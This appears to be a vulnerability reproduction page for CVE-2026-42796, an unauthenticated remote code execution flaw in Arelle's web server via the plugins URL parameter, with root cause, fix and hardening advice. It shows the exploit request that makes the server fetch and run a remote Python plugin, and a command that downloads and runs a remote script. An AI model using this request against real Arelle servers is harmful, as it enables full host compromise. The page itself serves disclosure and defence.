CVE-2026-42796: Verified Repro With Script Download
CVE-2026-42796: Arelle: unauthenticated RCE via /rest/configure plugins URL parameter
CVE-2026-42796 is verified against arelle · pip. Affected versions: < 2.39.10. Fixed in 2.39.10. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00160.
What Is CVE-2026-42796?
CVE-2026-42796 is a critical unauthenticated remote code execution vulnerability in Arelle's built-in web server, exploitable via the /rest/configure endpoint's plugins URL parameter. Pruva reproduced it (reproduction REPRO-2026-00160).
CVE-2026-42796 Severity & CVSS Score
CVE-2026-42796 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected arelle Versions
arelle · pip versions < 2.39.10 are affected.
How to Reproduce CVE-2026-42796
pruva-verify REPRO-2026-00160 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00160/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-42796
Reproduced by Pruva's autonomous agents — 304 tool calls over 48 min. Full root-cause analysis and the complete transcript are below.
How the agent worked
Root Cause and Exploit Chain for CVE-2026-42796
Summary
Arelle's built-in web server exposes /rest/configure and /rest/xbrl/validation endpoints that accept a plugins query parameter. In versions prior to 2.39.10, this parameter was forwarded directly to the plugin manager without validation, allowing an attacker to supply an arbitrary HTTP(S) URL pointing to a Python file. Arelle would download the file and, when the plugin defined certain hooks (e.g., CntlrCmdLine.Utility.Run), execute its top-level Python code in-process. This constitutes unauthenticated remote code execution (RCE) against any reachable Arelle web server instance.
Impact
- Package/Component:
arelle-release(PyPI) / Arelle XBRL platform - Affected Versions:
< 2.39.10 - Fixed Version:
2.39.10 - Risk Level: Critical — CVSS 3.1 base 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Consequences: Any network-reachable Arelle web server can be compelled to download and execute attacker-controlled Python code, leading to full host compromise.
Root Cause
The root cause is a missing allowlist/validation on the plugins parameter in the web server request handlers (arelle/CntlrWebMain.py). Before the fix:
if request.query.plugins:
options.plugins = request.query.plugins
The value was passed verbatim to CntlrCmdLine.run(), which splits it by | and calls PluginManager.addPluginModule() for each entry. addPluginModule() resolves the string through the web cache (WebCache.getfilename), downloading remote URLs to a local cache file. The module is then parsed for __pluginInfo__ and, if it declares a hook that the runtime later requests (e.g., CntlrCmdLine.Utility.Run), PluginManager.loadModule() imports and executes the file via importlib.util.spec_from_file_location + exec_module.
The fix (PR #2320, commits 4fed726, 736f77b, b43437a) adds a _rejectRemotePlugins() helper that matches each plugin reference against the regex ^[a-zA-Z][a-zA-Z0-9+\-.]*://. If any reference is a URL scheme, the web server raises an HTTPResponse(status=400) before the value ever reaches the plugin manager. The fix also adds a startup warning about the webserver's security posture.
Reproduction Steps
The reproduction is fully automated in repro/reproduction_steps.sh. The script:
- Creates two isolated Python virtualenvs and installs
arelle-release==2.39.9(vulnerable) and2.39.10(fixed). - Writes a malicious plugin
evil_plugin.pythat writes a sentinel file (/tmp/arelle_pwned) at module import time and declaresCntlrCmdLine.Utility.Runto ensureloadModule/exec_moduleis triggered. - Serves the plugin via
python3 -m http.server. - Starts the Arelle webserver (
arelleCmdLine --webserver localhost:PORT). - Sends
curl "http://127.0.0.1:PORT/rest/configure?plugins=http://127.0.0.1:PLUGIN_PORT/evil_plugin.py". - Captures the HTTP response code and checks for the sentinel file.
- Repeats steps 3–6 with the fixed version.
Expected Evidence
- Vulnerable (2.39.9): HTTP
200and sentinel file/tmp/arelle_pwnedis created, proving the remote plugin was downloaded, imported, and executed. - Fixed (2.39.10): HTTP
400with bodyRemote URL plug-in references are not permitted via the webserver: ...and no sentinel file, proving the guard blocks the attack.
Evidence
Captured logs are written to $ROOT/logs/:
logs/vuln_response.txt— Arelle 2.39.9 HTML response showing plugin activation success.logs/vuln_http_code.txt—vuln HTTP code: 200logs/fixed_response.txt— Arelle 2.39.10 plain-text rejection message.logs/fixed_http_code.txt—fixed HTTP code: 400logs/result.txt— Combined pass/fail verdicts.
Key Excerpts
Vulnerable run output:
vuln HTTP code: 200
vuln: CONFIRMED - sentinel file created (RCE executed)
Fixed run output:
fixed HTTP code: 400
fixed: CONFIRMED - request rejected with 400, no RCE
Recommendations / Next Steps
- Upgrade immediately to
arelle-release >= 2.39.10(or any build containing PR #2320). - Do not expose the Arelle web server to untrusted networks. Even with the fix, the web server performs no authentication and can read local files.
- Regression test by running the reproduction script against any new release to ensure the guard is not inadvertently removed.
- Consider additional hardening such as binding the web server to
127.0.0.1only and placing it behind an authenticated reverse proxy.
Additional Notes
- Idempotency: The reproduction script was executed twice consecutively and produced identical results on both runs.
- Edge Cases: The fix also rejects prefixed entries (e.g.,
+http://...,-http://...,~http://...) and pipe-separated lists where any component is a remote URL. The regex correctly allows local filesystem paths and pip-installed entry-point names. - Limitations: The reproduction targets the
/rest/configureendpoint because it is the simplest trigger path; the same guard also protects/rest/xbrl/validationand other endpoints that acceptplugins.
CVE-2026-42796 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
git clone --depth=100 https://github.com/Arelle/Arelle.git /tmp/arelle_repo{"cwd":"/root/.pruva/runs/cve-2026-42796_20260523-061411","duration_ms":10019,"exit_code":0,"stderr":"Cloning into '/tmp/arelle_repo'...\nUpdating files: 7% (214/2677)\rUpdating files: 8% (215/2677)\rUpdating files: 9% (241/2677)\rUpdating files: 10% (268/2677)\rUpdating files: 11% (295/2677)\rUpdating files: 12% (322/2677)\rUpdating files: 13% (349/2677)\rUpdating files: 14% (375/2677)\rUpdating files: 15% (402/2677)\rUpdating files: 16% (429/2677)\rUpdating files: 17% (456/2677)\rUpdating files: 18% (482/2677)\rUpdating files: 19% (509/2677)\rUpdating files: 19% (526/2677)\rUpdating files: 20% (536/2677)\rUpdating files: 21% (563/2677)\rUpdating files: 22% (589/2677)\rUpdating files: 23% (616/2677)\rUpdating files: 24% (643/2677)\rUpdating files: 25% (670/2677)\rUpdating files: 26% (697/2677)\rUpdating files: 27% (723/2677)\rUpdating files: 28% (750/2677)\rUpdating files: 29% (777/2677)\rUpdating files: 29% (786/2677)\rUpdating files: 30% (804/2677)\rUpdating files: 31% (830/2677)\rUpdating files: 32% (857/2677)\rUpdating files: 33% (884/2677)\rUpdating files: 34% (911/2677)\rUpdating files: 35% (937/2677)\rUpdating files: 36% (964/2677)\rUpdati… [truncated]cd /tmp/arelle_repo && git log 2.39.9..2.39.10 --oneline{"cwd":"/root/.pruva/runs/cve-2026-42796_20260523-061411","duration_ms":6,"exit_code":0,"stderr":"","stdout":"0733db1 Merge pull request #2329 from austinmatherne-wk/calc-error\n36dd4e8 Merge pull request #2319 from austinmatherne-wk/table-constraints-metadata\n961d366 Merge pull request #2298 from Arelle/extension_check_consolidation\nb4c02ee Skip non-str entries when filtering OIM errors in calc 1.1\n250fec2 Merge pull request #2327 from austinmatherne-wk/new-config-directory\ncd49e75 Fix AttributeError when --xdgConfigHome points to a missing directory\n77e081b Merge pull request #2318 from derekgengenbacher-wf/XT-5887\n58ff16a Merge pull request #2325 from austinmatherne-wk/save-oim-fact-prefix\n4c02988 Update Char.Audit based on 2026 guidance\nb68970f Updating based on code comments.\n8573ff1 Merge pull request #2324 from austinmatherne-wk/trim-frozen-builds\n36e6d4f Merge pull request #2323 from austinmatherne-wk/docker-publish\n13c8354 Preserve fact value namespace prefixes in saveLoadableOIM\n3d80b50 Update runner images to latest stable versions\n88ce3e3 Exclude repo root tests package from frozen builds\n820a8fd Supress Sphinx 9 warning\n09dedf2 Bump dependency versions n… [truncated]Artifacts and Evidence for CVE-2026-42796
Scripts, logs, diffs, and output captured during the reproduction.
No artifacts available
How to Fix CVE-2026-42796
Upgrade arelle · pip to 2.39.10 or later.
FAQ: CVE-2026-42796
How does the CVE-2026-42796 RCE attack work?
/rest/configure?plugins=<attacker URL> (or /rest/xbrl/validation); addPluginModule() resolves the string through WebCache.getfilename(), which downloads the attacker's Python file, and Arelle executes its top-level code in-process when the plugin defines hooks such as CntlrCmdLine.Utility.Run - achieving remote code execution.Which Arelle versions are affected by CVE-2026-42796, and where is it fixed?
How severe is CVE-2026-42796?
How can I reproduce CVE-2026-42796?
/rest/configure with a plugins parameter pointing to an attacker-hosted Python file and confirms the file is downloaded and its code executed in-process.References for CVE-2026-42796
Authoritative sources for CVE-2026-42796 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.